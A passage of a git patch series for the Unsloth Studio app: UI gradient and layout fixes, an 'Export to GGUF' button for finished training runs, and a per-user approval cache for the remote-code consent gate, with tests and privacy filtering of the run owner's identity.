diff --git a/studio/frontend/src/components/app-sidebar.tsx b/studio/frontend/src/components/app-sidebar.tsx
index c6fa3e92ec..734860138a 100644
--- a/studio/frontend/src/components/app-sidebar.tsx
+++ b/studio/frontend/src/components/app-sidebar.tsx
@@ -1355,7 +1355,7 @@ export function AppSidebar() {
         <div
           aria-hidden="true"
           className={cn(
-            "pointer-events-none absolute left-0 right-2 bottom-full h-10 bg-gradient-to-t from-[var(--sidebar)] to-transparent transition-opacity duration-200",
+            "pointer-events-none absolute left-0 right-2 bottom-full h-10 bg-gradient-to-t from-[var(--sidebar)] to-[rgb(from_var(--sidebar)_r_g_b/0)] transition-opacity duration-200",
             canScrollDown ? "opacity-100" : "opacity-0",
           )}
         />
diff --git a/studio/frontend/src/components/assistant-ui/thread.tsx b/studio/frontend/src/components/assistant-ui/thread.tsx
index 3d986c4c18..57e6d02f55 100644
--- a/studio/frontend/src/components/assistant-ui/thread.tsx
+++ b/studio/frontend/src/components/assistant-ui/thread.tsx
@@ -1210,7 +1210,7 @@ const ThreadComposerDock: FC<{
       <div
         aria-hidden={true}
         className={cn(
-          "absolute inset-x-0 bottom-0 bg-gradient-to-t from-background from-[calc(100%_-_28px)] to-transparent",
+          "absolute inset-x-0 bottom-0 bg-gradient-to-t from-background from-[calc(100%_-_28px)] to-[rgb(from_var(--background)_r_g_b/0)]",
           queueVisible
             ? "h-32 backdrop-blur-[1px] [mask-image:linear-gradient(to_top,black_0%,black_58%,transparent_100%)]"
             : "top-[10px]",
diff --git a/studio/frontend/src/features/chat/chat-page.tsx b/studio/frontend/src/features/chat/chat-page.tsx
index 4816e1d515..daad2c4524 100644
--- a/studio/frontend/src/features/chat/chat-page.tsx
+++ b/studio/frontend/src/features/chat/chat-page.tsx
@@ -2304,7 +2304,7 @@ export function ChatPage({
         {view.mode !== "compare" && (
           <div
             aria-hidden={true}
-            className="pointer-events-none absolute left-0 right-[10px] top-[48px] z-20 h-6 bg-gradient-to-b from-background to-transparent"
+            className="pointer-events-none absolute left-0 right-[10px] top-[48px] z-20 h-6 bg-gradient-to-b from-background to-[rgb(from_var(--background)_r_g_b/0)]"
           />
         )}
         <div
diff --git a/studio/frontend/src/index.css b/studio/frontend/src/index.css
index b515c907db..cf7bee70d5 100644
--- a/studio/frontend/src/index.css
+++ b/studio/frontend/src/index.css
@@ -43,7 +43,13 @@
 		inset-inline: 0;
 		bottom: 0;
 		height: 40px;
-		background: linear-gradient(to top, var(--sidebar), transparent);
+		/* Fade to sidebar colour at 0 alpha, not `transparent` (transparent
+		   black), which shows a grey midtone in Safari 27 Liquid Glass. */
+		background: linear-gradient(
+			to top,
+			var(--sidebar),
+			rgb(from var(--sidebar) r g b / 0)
+		);
 	}
 	/* Model picker list: once scrolled, the top edge fades so rows dissolve as
 	   they pass under the pinned search / tab bar. */

From b92123a5f0fd7a32df53213fc9a7bd74cf11ca6c Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 22 Jun 2026 05:03:41 -0700
Subject: [PATCH 022/306] Studio: add Export to GGUF button on finished
 training runs (#6475)

* Studio: add Export to GGUF button on finished training runs

A completed run's 'Current Run' tab greys out, so it was unclear how to
export it: GGUF export lives on the separate Export page and there was no
link to it from a run. Add an 'Export to GGUF' button to the run progress
card (shown for completed/stopped runs) that deep-links to the Export page
with that run preselected via a new ?run= search param. The Export page
reads the param, selects the run, defaults to GGUF, and picks the run's
main checkpoint. No retraining is required to export a finished run.

* Studio: fix export deep-link checkpoint preselect and edge cases

Address review feedback on the Export to GGUF deep link:
- Move the main-checkpoint auto-select effect after the model-change reset
  effect so it runs last; previously the reset cleared the checkpoint back to
  null in the same commit, leaving the field empty on a deep link.
- Reset the applied-run ref when the ?run= param clears (e.g. navigating to
  /export via the sidebar) so a later manual reselect of the same run is not
  treated as a deep link.
- Trim trailing slashes before taking the run output-dir basename so a path
  like /outputs/run/ still yields a name (the button no longer disappears).

* Studio: hide Export to GGUF on runs superseded by a resume

A stopped run whose output_dir was later reused by a resumed run is marked
resumed_later by the backend; its on-disk contents no longer match the older
run's metrics. Since the export deep link selects by output-dir basename,
showing the button on such a run would export the newer continuation instead
of the run being viewed. Carry resumed_later into the view data and hide the
button when set.

---------

Co-authored-by: danielhanchen <michaelhan2050@gmail.com>
---
 studio/frontend/src/app/routes/export.tsx     |  9 ++++
 .../src/features/export/export-page.tsx       | 33 ++++++++++++
 .../studio/historical-training-view.tsx       |  1 +
 .../studio/sections/progress-section.tsx      | 53 ++++++++++++++-----
 .../src/features/training/types/runtime.ts    |  3 ++
 studio/frontend/src/i18n/locales/en.ts        |  1 +
 6 files changed, 88 insertions(+), 12 deletions(-)

diff --git a/studio/frontend/src/app/routes/export.tsx b/studio/frontend/src/app/routes/export.tsx
index c0356c823f..40118c6a92 100644
--- a/studio/frontend/src/app/routes/export.tsx
+++ b/studio/frontend/src/app/routes/export.tsx
@@ -12,10 +12,19 @@ const ExportPage = lazy(() =>
   })),
 );
 
+export type ExportSearch = {
+  // Preselect a training run on the Export page (its output-dir basename, which
+  // equals the checkpoint scan's model name). Set when arriving from a run view.
+  run?: string;
+};
+
 export const Route = createRoute({
   getParentRoute: () => rootRoute,
   path: "/export",
   staticData: { title: "Export" },
   beforeLoad: () => requireAuth(),
+  validateSearch: (search: Record<string, unknown>): ExportSearch => ({
+    run: typeof search.run === "string" ? search.run : undefined,
+  }),
   component: ExportPage,
 });
diff --git a/studio/frontend/src/features/export/export-page.tsx b/studio/frontend/src/features/export/export-page.tsx
index 64123bc2f5..e23b3d7262 100644
--- a/studio/frontend/src/features/export/export-page.tsx
+++ b/studio/frontend/src/features/export/export-page.tsx
@@ -49,6 +49,7 @@ import {
   PackageIcon,
   Search01Icon,
 } from "@hugeicons/core-free-icons";
+import { useSearch } from "@tanstack/react-router";
 import { HugeiconsIcon } from "@hugeicons/react";
 import { useCallback, useEffect, useMemo, useRef, useState } from "react";
 import { useShallow } from "zustand/react/shallow";
@@ -211,6 +212,29 @@ export function ExportPage() {
     };
   }, []);
 
+  // Apply the ?run= deep link (e.g. from a finished run's "Export to GGUF"
+  // button) once its run appears in the checkpoint list: select the run and
+  // default to GGUF. The main checkpoint is auto-selected further below, after
+  // the model-change effect that clears the checkpoint.
+  const { run: preselectRun } = useSearch({ from: "/export" });
+  const appliedRunRef = useRef<string | null>(null);
+  useEffect(() => {
+    if (!preselectRun) {
+      // Deep link cleared (e.g. navigated to /export via the sidebar): stop
+      // treating the previously preselected run specially.
+      appliedRunRef.current = null;
+      return;
+    }
+    if (models.length === 0) return;
+    if (appliedRunRef.current === preselectRun) return;
+    const match = models.find((m) => m.name === preselectRun);
+    if (!match) return;
+    appliedRunRef.current = preselectRun;
+    setSourceMode("checkpoint");
+    setSelectedModelIdx(match.name);
+    setExportMethod("gguf");
+  }, [preselectRun, models]);
+
   // ---- Fetch local models for direct export ----
   useEffect(() => {
     const controller = new AbortController();
@@ -362,6 +386,15 @@ export function ExportPage() {
     setCheckpoint(null);
   }, [selectedModelIdx]);
 
+  // For a ?run= deep link, default to the run's main checkpoint. Declared after
+  // the reset effect above so it runs last and isn't clobbered back to null.
+  useEffect(() => {
+    if (appliedRunRef.current == null) return;
+    if (appliedRunRef.current !== selectedModelIdx) return;
+    if (checkpoint != null || checkpointsForModel.length === 0) return;
+    setCheckpoint(checkpointsForModel[0].display_name);
+  }, [selectedModelIdx, checkpoint, checkpointsForModel]);
+
   // Auto-reset export method if incompatible with the selected model type
   useEffect(() => {
     if (!isAdapter && (exportMethod === "merged" || exportMethod === "lora")) {
diff --git a/studio/frontend/src/features/studio/historical-training-view.tsx b/studio/frontend/src/features/studio/historical-training-view.tsx
index e958f2ba0d..0bca090413 100644
--- a/studio/frontend/src/features/studio/historical-training-view.tsx
+++ b/studio/frontend/src/features/studio/historical-training-view.tsx
@@ -59,6 +59,7 @@ function mapToViewData(
     currentEpoch: metrics.final_epoch,
     currentNumTokens: metrics.final_num_tokens ?? null,
     outputDir: run.output_dir ?? null,
+    resumedLater: run.resumed_later ?? false,
     progressPercent:
       run.total_steps && run.final_step
         ? (run.final_step / run.total_steps) * 100
diff --git a/studio/frontend/src/features/studio/sections/progress-section.tsx b/studio/frontend/src/features/studio/sections/progress-section.tsx
index 67800df27b..de8605e021 100644
--- a/studio/frontend/src/features/studio/sections/progress-section.tsx
+++ b/studio/frontend/src/features/studio/sections/progress-section.tsx
@@ -33,6 +33,7 @@ import { cn } from "@/lib/utils";
 import {
   ChartAverageIcon,
   DashboardSpeed01Icon,
+  FolderExportIcon,
   Notebook01Icon,
   RamMemoryIcon,
   StopIcon,
@@ -153,6 +154,21 @@ export function ProgressSection({
     await navigate({ to: "/chat" });
   };
 
+  // A finished run can be exported to GGUF: deep-link to the Export page with
+  // this run preselected (its output-dir basename is the export model name).
+  const exportRunName = data.outputDir
+    ? (data.outputDir.replace(/[/\\]+$/, "").split(/[/\\]/).pop() || null)
+    : null;
+  const canExportGguf =
+    !data.isTrainingRunning &&
+    !!exportRunName &&
+    !data.resumedLater &&
+    (data.phase === "completed" || data.phase === "stopped");
+  const handleExportGguf = () => {
+    if (!exportRunName) return;
+    void navigate({ to: "/export", search: { run: exportRunName } });
+  };
+
   const stoppedLoss = getDisplayMetric(
     data.isTrainingRunning,
     data.currentLoss,
@@ -219,18 +235,31 @@ export function ProgressSection({
       accent="emerald"
       className="shadow-border border border-border/60 bg-card/90 ring-0 backdrop-blur-sm"
       headerAction={
-        isHistorical ? (
-          <ConfigPopoverButton configItems={configItems} />
-        ) : (
-          <LiveTrainingHeaderActions
-            configItems={configItems}
-            isTrainingRunning={data.isTrainingRunning}
-            onOpenStopDialog={setStopDialogOpen}
-            stopDialogOpen={stopDialogOpen}
-            stopRequested={stopRequested}
-            onSetStopRequested={setStopRequestedLocal}
-          />
-        )
+        <div className="flex items-center gap-2">
+          {canExportGguf && (
+            <Button
+              size="sm"
+              variant="outline"
+              className="h-8 gap-1.5 text-xs"
+              onClick={handleExportGguf}
+            >
+              <HugeiconsIcon icon={FolderExportIcon} className="size-3.5" />
+              {t("studio.progress.exportGguf")}
+            </Button>
+          )}
+          {isHistorical ? (
+            <ConfigPopoverButton configItems={configItems} />
+          ) : (
+            <LiveTrainingHeaderActions
+              configItems={configItems}
+              isTrainingRunning={data.isTrainingRunning}
+              onOpenStopDialog={setStopDialogOpen}
+              stopDialogOpen={stopDialogOpen}
+              stopRequested={stopRequested}
+              onSetStopRequested={setStopRequestedLocal}
+            />
+          )}
+        </div>
       }
     >
       <div className="grid grid-cols-1 gap-5 lg:grid-cols-[minmax(0,1.2fr)_minmax(18rem,0.8fr)]">
diff --git a/studio/frontend/src/features/training/types/runtime.ts b/studio/frontend/src/features/training/types/runtime.ts
index 5fd8286d22..c27a2f2bed 100644
--- a/studio/frontend/src/features/training/types/runtime.ts
+++ b/studio/frontend/src/features/training/types/runtime.ts
@@ -147,6 +147,9 @@ export interface TrainingViewData {
   currentEpoch: number | null;
   currentNumTokens: number | null;
   outputDir: string | null;
+  // True when a newer run reused this run's output_dir (resume), so its
+  // on-disk contents no longer match this (older) run's metrics.
+  resumedLater?: boolean;
   progressPercent: number;
   elapsedSeconds: number | null;
   etaSeconds: number | null;
diff --git a/studio/frontend/src/i18n/locales/en.ts b/studio/frontend/src/i18n/locales/en.ts
index 214767bec0..7bc86b57ec 100644
--- a/studio/frontend/src/i18n/locales/en.ts
+++ b/studio/frontend/src/i18n/locales/en.ts
@@ -785,6 +785,7 @@ export const en = {
     progress: {
       title: "Training Progress",
       liveMetrics: "Live training metrics",
+      exportGguf: "Export to GGUF",
       openConfig: "Open training config",
       configLabel: "Training Config",
       hyperparams: "Hyperparams",

From 08e84b7f7e12c77b74c8b6cb44cd2e58be3466b5 Mon Sep 17 00:00:00 2001
From: Wasim Yousef Said <wasimysdev@gmail.com>
Date: Mon, 22 Jun 2026 14:04:03 +0200
Subject: [PATCH 023/306] Studio: keep code block scrollbars off one-line code
 (#6474)

---
 studio/frontend/src/index.css | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/studio/frontend/src/index.css b/studio/frontend/src/index.css
index cf7bee70d5..a14643fefd 100644
--- a/studio/frontend/src/index.css
+++ b/studio/frontend/src/index.css
@@ -1684,6 +1684,11 @@
 		padding: 0 !important;
 	}
 
+	.aui-thread-root [data-streamdown="code-block-body"] {
+		/* Keep overlay scrollbars below one-line code. */
+		padding-bottom: 0.625rem !important;
+	}
+
 	[data-streamdown="code-block"] {
 		gap: 0.25rem;
 		padding: 0.75rem 1rem;

From ab2717afe01ec2dcf6626a7ae2ff7cb56b08f16b Mon Sep 17 00:00:00 2001
From: Daniel Han <danielhanchen@gmail.com>
Date: Mon, 22 Jun 2026 05:12:49 -0700
Subject: [PATCH 024/306] Studio: persistent per-user trust_remote_code
 approval cache (#6551)

* Studio: persistent per-user trust_remote_code approval cache

The consent gate pins each approval to a content fingerprint (sha256 over every
repo .py), but nothing was persisted, so the dialog reappeared on every fresh
load of the same unchanged repo. This adds an on-disk, per-user approval cache
that lets the gate skip the dialog when the same user reloads the same code,
while keeping the safety guarantees intact.

Two-tier validation, both must hold or the user is re-prompted:
- Commit SHA (cheap, one HfApi.model_info().sha, no download): a match means a
  byte-identical tree to the approved revision, so the scan/download is skipped.
- Content fingerprint (authoritative): used whenever the SHA is unavailable
  (local path / offline) and always recomputed on a SHA miss. A new or edited
  .py changes both the SHA and the fingerprint, so it is caught in every mode.

Safety:
- Keyed per subject; one user's approval never auto-runs code for another.
- CRITICAL is never stored or honored (guarded on both write and read), so a
  hand-edited store cannot smuggle in an auto-approval.
- The malware (HF unsafe-file) gate stays unconditional.
- Fail-safe: a corrupt store, an unresolvable SHA, or any error degrades to
  "ask again", never to "auto-approve". UNSLOTH_TRC_APPROVAL_CACHE_DISABLE=1
  turns the cache off entirely.

New module utils/security/remote_code_approvals.py holds the store
(studio_root()/security/remote_code_approvals.json, atomic write, 0600, RLock)
plus the SHA resolvers. Recording happens at the single gate chokepoint when the
caller supplies the matching fingerprint, so subject is just threaded through
inference/training/export (orchestrators, routes, workers). The scan endpoint
returns already_approved so the frontend can skip the dialog on a cache hit.

Tests: new tests/test_trc_approval_cache.py covers cache miss, SHA-match skip,
SHA-moved re-scan, new-file re-consent, CRITICAL never cached (write + forged
read), disable flag, subject isolation, combined adapter+base key, corrupt
store, and no-subject bypass. Full security suite: 101 passed.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Address review: make the approval cache skip only the prompt, never the scan

Codex found that the SHA "no-scan" fast path could run untrusted code without
re-consent. Removed it; the gate now always re-scans and the cache only seeds the
authoritative fingerprint check, so it can skip the dialog but never the scan.

- CRITICAL is hard-blocked on every load (the scan always runs), so a hand-edited
  store that downgrades a CRITICAL repo's severity can no longer auto-run it
  (P2: do not trust editable severity for SHA approvals).
- The fingerprint covers external auto_map repos, so changed third-party code
  always re-prompts even when the primary commit SHA is unchanged; there is no
  longer a SHA path that bypasses the fingerprint (P1: external auto_map repos).
- resolve_commit_sha is resolved fresh on every call (no memoization), so a repo
  whose default branch moves after approval re-prompts instead of reusing a stale
  cached SHA (P1: revalidate mutable Hub SHAs). The SHA is now only a conservative
  secondary gate: a fresh resolvable SHA must match the approved revision, else the
  seed is withheld; a None (local/offline) falls back to the fingerprint.
- Approvals record the scanner ruleset version (SCAN_RULES_VERSION); the gate
  ignores approvals from an older ruleset so reclassified bytes are re-scanned and
  re-shown instead of silently auto-approved (P2: invalidate on scan-policy change).

Tests: test_trc_approval_cache.py rewritten around the prompt-skip semantics
(unchanged repo still scans; SHA move / changed code / scanner-version bump /
disable flag all re-prompt; forged downgraded severity still blocks CRITICAL).
105 passed with test_consent_gate.py.

* [pre-commit.ci] auto fixes from pre-commit.com hooks

for more information, see https://pre-commit.ci

* Trim comments to be more succinct

* Keep run-owner subject out of persisted config; serialize approval writes

Threading subject (the run owner's username / API-key id) into the training
config meant _sanitize_db_config persisted it into config_json, which
training-history GET returns to any authenticated user, leaking who started a run
in multi-user installs. Filter subject alongside the token fields; the worker
still receives it from the live config.

The approval store's RLock only guards one process, but approvals are recorded
from separate inference/export/training subprocesses, so concurrent writers could
clobber each other on os.replace and drop an approval (re-prompt). Hold a
best-effort cross-process file lock around the read-modify-write.

* Fail safe on a malformed approval store

A store with the right version but a non-dict shape (e.g. a hand-edited
"subjects": []) passed _load()'s check, then lookup chained .get() on a list and
raised, breaking every remote-code load until the file was removed. Validate that
subjects is a dict in _load(), and tolerate a non-dict per-subject entry in
lookup/record/forget, so a corrupt store fails safe (re-prompt) instead.

* Keep subject out of the MLX W&B run config

_run_mlx_training uploads the whole training config to W&B minus a sensitive set
that only listed hf_token/wandb_token/s3_config, so the authenticated subject
(username / API-key id) was sent to W&B as run config even though DB history
already strips it. Add subject to the W&B-sensitive filter, mirroring
training._sanitize_db_config.

* Tighten the W&B subject-filter comment

---------

Co-authored-by: pre-commit-ci[bot] <66853113+pre-commit-ci[bot]@users.noreply.github.com>
---
 studio/backend/core/export/orchestrator.py    |   2 +
 studio/backend/core/export/worker.py          |   1 +
 studio/backend/core/inference/orchestrator.py |   2 +
 studio/backend/core/inference/worker.py       |   4 +
 studio/backend/core/training/training.py      |   7 +-
 studio/backend/core/training/worker.py        |   6 +-
 studio/backend/routes/export.py               |   1 +
 studio/backend/routes/inference.py            |   1 +
 studio/backend/routes/models.py               |  11 +-
 studio/backend/routes/training.py             |   1 +
 studio/backend/tests/test_consent_gate.py     |   6 +-
 .../tests/test_mlx_training_worker_config.py  |  11 +
 .../tests/test_training_history_update.py     |  19 ++
 .../backend/tests/test_trc_approval_cache.py  | 308 ++++++++++++++++++
 studio/backend/utils/security/__init__.py     |   4 +
 studio/backend/utils/security/consent.py      |  38 +++
 .../utils/security/remote_code_approvals.py   | 247 ++++++++++++++
 .../utils/security/remote_code_scan.py        |   5 +
 .../features/security/api/remote-code-api.ts  |   2 +
 .../security/hooks/use-remote-code-consent.ts |   7 +
 .../frontend/src/features/security/types.ts   |   2 +
 21 files changed, 681 insertions(+), 4 deletions(-)
 create mode 100644 studio/backend/tests/test_trc_approval_cache.py
 create mode 100644 studio/backend/utils/security/remote_code_approvals.py

diff --git a/studio/backend/core/export/orchestrator.py b/studio/backend/core/export/orchestrator.py
index 636fe1a759..478624b48e 100644
--- a/studio/backend/core/export/orchestrator.py
+++ b/studio/backend/core/export/orchestrator.py
@@ -385,6 +385,7 @@ class ExportOrchestrator:
         trust_remote_code: bool = False,
         approved_remote_code_fingerprint: Optional[str] = None,
         hf_token: Optional[str] = None,
+        subject: Optional[str] = None,
     ) -> Tuple[bool, str]:
         """Load a checkpoint for export.
 
@@ -396,6 +397,7 @@ class ExportOrchestrator:
             "load_in_4bit": load_in_4bit,
             "trust_remote_code": trust_remote_code,
             "approved_remote_code_fingerprint": approved_remote_code_fingerprint,
+            "subject": subject,
             "hf_token": hf_token,
         }
 
diff --git a/studio/backend/core/export/worker.py b/studio/backend/core/export/worker.py
index f03dcfa41a..d504aff7ea 100644
--- a/studio/backend/core/export/worker.py
+++ b/studio/backend/core/export/worker.py
@@ -261,6 +261,7 @@ def _handle_load(backend, cmd: dict, resp_queue: Any) -> None:
             hf_token = cmd.get("hf_token"),
             trust_remote_code = True,
             approved_fingerprint = cmd.get("approved_remote_code_fingerprint"),
+            subject = cmd.get("subject"),
         )
         if _rc.blocked:
             _send_response(
diff --git a/studio/backend/core/inference/orchestrator.py b/studio/backend/core/inference/orchestrator.py
index 47e8038764..c980dbde2d 100644
--- a/studio/backend/core/inference/orchestrator.py
+++ b/studio/backend/core/inference/orchestrator.py
@@ -716,6 +716,7 @@ class InferenceOrchestrator:
         trust_remote_code: bool = False,
         approved_remote_code_fingerprint: Optional[str] = None,
         gpu_ids: Optional[list[int]] = None,
+        subject: Optional[str] = None,
     ) -> bool:
         """Load a model for inference.
 
@@ -739,6 +740,7 @@ class InferenceOrchestrator:
                 "gguf_variant": getattr(config, "gguf_variant", None),
                 "trust_remote_code": trust_remote_code,
                 "approved_remote_code_fingerprint": approved_remote_code_fingerprint,
+                "subject": subject,
                 "gpu_ids": gpu_ids,
             }
             resolved_gpu_ids, gpu_selection = prepare_gpu_selection(
diff --git a/studio/backend/core/inference/worker.py b/studio/backend/core/inference/worker.py
index 9fe499780e..aa22ce821f 100644
--- a/studio/backend/core/inference/worker.py
+++ b/studio/backend/core/inference/worker.py
@@ -201,6 +201,7 @@ def _run_security_gates(
     approved_fingerprint: str | None,
     resp_queue: Any,
     compute_subdirs: bool = True,
+    subject: str | None = None,
 ) -> bool:
     """Malware + (when trust_remote_code) remote-code consent gates over *targets*
     (model + base). Sends the matching 'loaded' failure and returns False if blocked; True
@@ -245,6 +246,7 @@ def _run_security_gates(
             hf_token = hf_token,
             trust_remote_code = True,
             approved_fingerprint = approved_fingerprint,
+            subject = subject,
         )
         if _rc.blocked:
             _send_response(
@@ -292,6 +294,7 @@ def _handle_load(backend, config: dict, resp_queue: Any) -> None:
             hf_token = hf_token,
             approved_fingerprint = config.get("approved_remote_code_fingerprint"),
             resp_queue = resp_queue,
+            subject = config.get("subject"),
         ):
             return
 
@@ -823,6 +826,7 @@ def run_inference_process(*, cmd_queue: Any, resp_queue: Any, cancel_event, conf
         approved_fingerprint = config.get("approved_remote_code_fingerprint"),
         resp_queue = resp_queue,
         compute_subdirs = False,  # stay transformers-free until the SSM kernels are installed
+        subject = config.get("subject"),
     ):
         return
     # Probe the resolved base for SSM kernels, not the adapter id / local checkpoint path
diff --git a/studio/backend/core/training/training.py b/studio/backend/core/training/training.py
index 5a1f40d82f..052826e579 100644
--- a/studio/backend/core/training/training.py
+++ b/studio/backend/core/training/training.py
@@ -77,8 +77,12 @@ _HF_TMP_CHECKPOINT_RE = re.compile(r"^tmp-checkpoint-\d+$")
 
 
 def _sanitize_db_config(config: dict[str, Any]) -> dict[str, Any]:
+    # ``subject`` (the run owner's username / API-key id) is worker-only metadata; never
+    # persist it to config_json, which run-history GET returns to any authenticated user.
     db_config = {
-        k: v for k, v in config.items() if k not in {"hf_token", "wandb_token", "s3_config"}
+        k: v
+        for k, v in config.items()
+        if k not in {"hf_token", "wandb_token", "s3_config", "subject"}
     }
     s3_config = config.get("s3_config")
     if hasattr(s3_config, "model_dump"):
@@ -329,6 +333,7 @@ class TrainingBackend:
             "resume_from_checkpoint": kwargs.get("resume_from_checkpoint"),
             "trust_remote_code": kwargs.get("trust_remote_code", False),
             "approved_remote_code_fingerprint": kwargs.get("approved_remote_code_fingerprint"),
+            "subject": kwargs.get("subject"),
             "gpu_ids": kwargs.get("gpu_ids"),
             "s3_config": kwargs.get("s3_config"),
             # Flipped to True only by the HTTP-fallback respawn after a stall.
diff --git a/studio/backend/core/training/worker.py b/studio/backend/core/training/worker.py
index 4fbdbf21ad..cd243c6a21 100644
--- a/studio/backend/core/training/worker.py
+++ b/studio/backend/core/training/worker.py
@@ -1508,6 +1508,7 @@ def _run_mlx_training(event_queue, stop_queue, config):
             hf_token = hf_token,
             trust_remote_code = True,
             approved_fingerprint = config.get("approved_remote_code_fingerprint"),
+            subject = config.get("subject"),
         )
         if _rc.blocked:
             _send(
@@ -1916,7 +1917,8 @@ def _run_mlx_training(event_queue, stop_queue, config):
             wandb_token = config.get("wandb_token")
             if wandb_token:
                 os.environ["WANDB_API_KEY"] = wandb_token
-            _wandb_sensitive = {"hf_token", "wandb_token", "s3_config"}
+            # Keep the authenticated subject out of W&B run config (mirrors _sanitize_db_config).
+            _wandb_sensitive = {"hf_token", "wandb_token", "s3_config", "subject"}
             wandb_run = _wandb.init(
                 project = config.get("wandb_project") or "unsloth-mlx",
                 config = {k: v for k, v in config.items() if k not in _wandb_sensitive},
@@ -2245,6 +2247,7 @@ def run_training_process(*, event_queue: Any, stop_queue: Any, config: dict) ->
             hf_token = config.get("hf_token") or None,
             trust_remote_code = True,
             approved_fingerprint = config.get("approved_remote_code_fingerprint"),
+            subject = config.get("subject"),
         )
         if _rc.blocked:
             event_queue.put(
@@ -3267,6 +3270,7 @@ def _run_embedding_training(event_queue: Any, stop_queue: Any, config: dict) ->
                 hf_token = hf_token,
                 trust_remote_code = True,
                 approved_fingerprint = config.get("approved_remote_code_fingerprint"),
+                subject = config.get("subject"),
             )
             if _rc.blocked:
                 event_queue.put(
diff --git a/studio/backend/routes/export.py b/studio/backend/routes/export.py
index 122f530013..78c1e59d2e 100644
--- a/studio/backend/routes/export.py
+++ b/studio/backend/routes/export.py
@@ -69,6 +69,7 @@ async def load_checkpoint(
             trust_remote_code = request.trust_remote_code,
             approved_remote_code_fingerprint = request.approved_remote_code_fingerprint,
             hf_token = request.hf_token,
+            subject = current_subject,
         )
 
         if not success:
diff --git a/studio/backend/routes/inference.py b/studio/backend/routes/inference.py
index 4887cbe030..53d81961c3 100644
--- a/studio/backend/routes/inference.py
+++ b/studio/backend/routes/inference.py
@@ -2760,6 +2760,7 @@ async def load_model(
             trust_remote_code = request.trust_remote_code,
             approved_remote_code_fingerprint = request.approved_remote_code_fingerprint,
             gpu_ids = effective_gpu_ids,
+            subject = current_subject,
         )
 
         if not success:
diff --git a/studio/backend/routes/models.py b/studio/backend/routes/models.py
index 14fb5e234c..951c2960f3 100644
--- a/studio/backend/routes/models.py
+++ b/studio/backend/routes/models.py
@@ -1799,9 +1799,18 @@ async def scan_model_remote_code(
             for _ext in external_auto_map_repos(_target, hf_token):
                 external_refs.append(_ext)
                 _mark_scan_created(_ext)
-        decision = preflight_remote_code_consent_for_targets(security_targets, hf_token = hf_token)
+        decision = preflight_remote_code_consent_for_targets(
+            security_targets, hf_token = hf_token, subject = current_subject
+        )
         payload = decision.response_payload()
         payload["requires_trust_remote_code"] = decision.has_remote_code
+        # Prior approval for the unchanged repo lets the dialog be skipped; the scan still
+        # ran, so this is a real fingerprint match under the current ruleset.
+        payload["already_approved"] = (
+            decision.has_remote_code
+            and not decision.blocked
+            and decision.reason == "approved by fingerprint"
+        )
         # created_by_scan = primary flag (older clients); scan_created_repos drives cleanup.
         payload["created_by_scan"] = model_name in scan_created_repos
         payload["scan_created_repos"] = scan_created_repos
diff --git a/studio/backend/routes/training.py b/studio/backend/routes/training.py
index 64b64c0e97..0b0191ba12 100644
--- a/studio/backend/routes/training.py
+++ b/studio/backend/routes/training.py
@@ -249,6 +249,7 @@ async def start_training(
             "resume_from_checkpoint": request.resume_from_checkpoint,
             "trust_remote_code": request.trust_remote_code,
             "approved_remote_code_fingerprint": request.approved_remote_code_fingerprint,
+            "subject": current_subject,
             "gpu_ids": request.gpu_ids,
             "s3_config": request.s3_config.model_dump() if request.s3_config else None,
         }
diff --git a/studio/backend/tests/test_consent_gate.py b/studio/backend/tests/test_consent_gate.py
index 0fc8d7b695..804221ec7e 100644
--- a/studio/backend/tests/test_consent_gate.py
+++ b/studio/backend/tests/test_consent_gate.py
@@ -418,7 +418,7 @@ class TestWorkersWireTheGate:
         # Inference + export expand the consent scan to the LoRA base model's code.
         for rel in ("core/inference/worker.py", "core/export/worker.py"):
             src = (_BACKEND / rel).read_text()
-            assert "consent_targets" in src
+            assert "evaluate_remote_code_consent" in src
             assert "get_base_model_from_lora" in src or "mc.base_model" in src
 
     def test_remote_lora_base_is_resolved_in_gate_paths(self):
@@ -603,6 +603,8 @@ class TestStructuredFindingsForDialog:
             "preflight_remote_code_consent_for_targets",
             lambda *_a, **_k: SimpleNamespace(
                 has_remote_code = True,
+                blocked = False,
+                reason = "allowed: no high-risk patterns",
                 response_payload = lambda: {"has_remote_code": True, "approvable": True},
             ),
         )
@@ -636,6 +638,8 @@ class TestStructuredFindingsForDialog:
     def test_fingerprint_threaded_to_worker(self, rel):
         src = (Path(__file__).resolve().parent.parent / rel).read_text()
         assert "approved_remote_code_fingerprint" in src
+        # The per-user approval cache rides the same path as the fingerprint.
+        assert "subject" in src
 
 
 # Trusted-org auto-enable: is_trusted_org_repo decides whether a repo may auto-enable
diff --git a/studio/backend/tests/test_mlx_training_worker_config.py b/studio/backend/tests/test_mlx_training_worker_config.py
index 7d45bc735d..e55815f512 100644
--- a/studio/backend/tests/test_mlx_training_worker_config.py
+++ b/studio/backend/tests/test_mlx_training_worker_config.py
@@ -92,6 +92,17 @@ def test_mlx_studio_keeps_hf_style_tokenizer_dual_purpose():
     assert "processor = tokenizer if is_vlm else None" not in source
 
 
+def test_mlx_wandb_run_config_excludes_subject_and_secrets():
+    # The MLX W&B run config uploads the whole config minus a sensitive set. The owner's
+    # subject (authenticated username / API-key id) must be filtered alongside the secrets,
+    # otherwise it lands in W&B run config even though DB history already strips it.
+    source = (Path(__file__).resolve().parents[1] / "core" / "training" / "worker.py").read_text()
+
+    assert (
+        '_wandb_sensitive = {"hf_token", "wandb_token", "s3_config", "subject"}' in source
+    ), "MLX W&B run config must exclude subject and the token/s3 secrets"
+
+
 def test_mlx_vlm_resize_uses_max_dimension_like_torch_trainer():
     assert _mlx_vlm_max_resized_size(1000, 500, 512) == (512, 256)
     assert _mlx_vlm_max_resized_size(500, 1000, 512) == (256, 512)
diff --git a/studio/backend/tests/test_training_history_update.py b/studio/backend/tests/test_training_history_update.py
index d8a0c93622..cf8188f911 100644
--- a/studio/backend/tests/test_training_history_update.py
+++ b/studio/backend/tests/test_training_history_update.py
@@ -98,3 +98,22 @@ def test_update_run_rejects_unknown_fields():
 def test_update_run_rejects_overlong_display_name():
     with pytest.raises(ValidationError):
         TrainingRunUpdateRequest.model_validate({"display_name": "x" * 121})
+
+
+def test_sanitize_db_config_strips_subject_and_secrets():
+    # config_json is returned by run-history GET to any authenticated user, so the run
+    # owner's subject (username / API-key id) and secrets must never be persisted.
+    from core.training.training import _sanitize_db_config
+
+    db = _sanitize_db_config(
+        {
